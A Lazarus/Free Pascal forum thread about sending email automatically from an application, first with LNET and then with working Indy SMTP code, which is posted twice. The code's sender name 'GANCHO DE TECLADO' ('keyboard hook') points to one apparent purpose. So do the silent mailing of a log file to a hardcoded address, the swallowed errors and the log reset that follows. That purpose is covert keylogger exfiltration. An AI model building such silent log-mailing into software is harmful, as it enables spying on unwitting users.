Send email with LNET

[joaowiciuk]

Hello, can you help me to send an email using LNET?
I want that my application make this automatically, without user intervention, with just one email and password defined in the source code.

I've tryed the code below but it did'nt work:

Code: [Select]

procedure TForm1.Button1Click(Sender: TObject);
var
  Stream: TMimeStream;
begin
  Stream := TMimeStream.Create;
  Stream.AddFileSection('C:\DOCUME~1\Usuario\Desktop\log.txt');
  Stream.Reset;
  if not SMTP.Connected then SMTP.Connect('smtp.live.com', 25);
  SMTP.StartTLS;
  if SMTP.HasFeature('AUTH LOGIN') then // use login if possible
    SMTP.AuthLogin('joaowiciuk@hotmail.com', '******')
  else if SMTP.HasFeature('AUTH PLAIN') then // fall back to plain if possible
    SMTP.AuthPlain('joaowiciuk@hotmail.com', '******');
  //SMTP.SendMail(EditFrom.Text, EditTo.Text, EditSubject.Text, FMimeStream); -> send the stream
  SMTP.SendMail('joaowiciuk@hotmail.com', 'joaowiciuk@hotmail.com', 'Teste', Stream); // send the stream
end;
It was based on a sample included with LNET 0.6.5, in which the user needs to manually configure a lot of things and click a few buttons and it works perfectly.

I think the problem is that my application code runs very quickly and no time to be established connections, authentication and TLS.

Here attached the original example, for analysis.

[BigChimp]

Don't know lnet, but in general it's a good idea to:
- provide Lazarus/FPC versions
- platform/operating system
- an indication of what documentation/sites you have used, what Lazarus wiki pages you checked etc. This includes searching the Lazarus wiki and forum.
- an indication of what you have tried, and what failed
Personally, for me it also helps if you show you made an effort and tried, and if you update wiki pages/forum threads when you get a solution. This way, it helps other people if they hit the same problem and hopefully lessens the amount of "simple" questions that can be answered by going through documentation.

For instance, are you able to send email with user intervention? What errors do you see?
Are there example programs distributed with lnet that you used? In what way are they insufficient?

Good luck!
If you keep your questions vague like this, a lot of us probably don't want to answer because it becomes a guessing game: did you try this? Yes but I got

[Troodon]

Are you sure that's all it takes to send email through host smtp.live.com? I once struggled a few hours trying to figure out how to send email using a PHP script via my ISP's SMTP server, which required authentication. I ended up using a Google SMTP sever, instructions are on the Web.

[joaowiciuk]

smtp.live.com works perfectly when I use the example included with lnet 0.6.5.

[otorres]

For me works very fine, only need install OpenSSL Lite in my pc, and all works pretty fine =)

[meulinux]

I do not need to install anything. Works very fine.

Ubuntu Linux 11.04 x86

Server: smtp.googlemail.com
Port: 465
SSL checked

--------------------
Login: myemail@gmail.com
Password: mypassword
click connect
---------------------

Enter any text

Add attachment file (28MB), linux executable "smtptest"

-------------------------

Sent successfully

[joaowiciuk]

Thank you everybody, but it is too complicated to send emails automatically with LNET. I made another choice, I used Indy 10.2.0.3 for Lazarus, which worked perfectly.

After installing it I added the components TIdSMTP, TIdMessage and TIdSSLIOHandlerSocketOpenSSL for my application, I configured TIdSMTP to use TLS explicit and set as your IOHandler the TIdSSLIOHandlerSocketOpenSSL. Soon after I used the codes:

Code: [Select]

try
      begin
        with IdMessage1 do
        begin
          From.Name := 'GANCHO DE TECLADO';
          From.Address := EMail;
          ReplyTo.EMailAddresses := EMail;
          Recipients.EMailAddresses := Email;
          Subject := 'Arquivo de Log';
          MessageParts.Clear;
          TIdAttachmentFile.Create(IdMessage1.MessageParts, 'log.txt');
          Body.Text := 'Este e-mail possui o arquivo de log anexado';
          Date := SysUtils.Date;
        end;
        with IdSMTP1 do
        begin
          UserName := EMail;
          PassWord := SenhaEMail;
        end;
        IdSMTP1.Connect;
        IdSMTP1.Authenticate;
        IdSMTP1.Send(IdMessage1);
        IdSMTP1.Disconnect;
        RedefinirArqLog;
      end;
    except
      on E: EIdSocketError do Exit;
    end;
I received no error and the e-mail with the attachment reaches my inbox.

[otorres]

Thank you everybody, but it is too complicated to send emails automatically with LNET. I made another choice, I used Indy 10.2.0.3 for Lazarus, which worked perfectly.

After installing it I added the components TIdSMTP, TIdMessage and TIdSSLIOHandlerSocketOpenSSL for my application, I configured TIdSMTP to use TLS explicit and set as your IOHandler the TIdSSLIOHandlerSocketOpenSSL. Soon after I used the codes:

Code: [Select]

try
      begin
        with IdMessage1 do
        begin
          From.Name := 'GANCHO DE TECLADO';
          From.Address := EMail;
          ReplyTo.EMailAddresses := EMail;
          Recipients.EMailAddresses := Email;
          Subject := 'Arquivo de Log';
          MessageParts.Clear;
          TIdAttachmentFile.Create(IdMessage1.MessageParts, 'log.txt');
          Body.Text := 'Este e-mail possui o arquivo de log anexado';
          Date := SysUtils.Date;
        end;
        with IdSMTP1 do
        begin
          UserName := EMail;
          PassWord := SenhaEMail;
        end;
        IdSMTP1.Connect;
        IdSMTP1.Authenticate;
        IdSMTP1.Send(IdMessage1);
        IdSMTP1.Disconnect;
        RedefinirArqLog;
      end;
    except
      on E: EIdSocketError do Exit;
    end;
I received no error and the e-mail with the attachment reaches my inbox.

Operating System?, I had to install OpenSSL to LNET send emails, you can be more specific?, So when someone wants to do the same, it will be easier.

[joaowiciuk]

  I use Windows 

[a.atalla]

i cannot find this component in the pallete (TIdSSLIOHandlerSocketOpenSSL)
How can i get this
i use (pl_Indycomp SVN 13-02-2013 Rev 4931) the version distributed with CodeTyphon  is Indy-10.5.9.18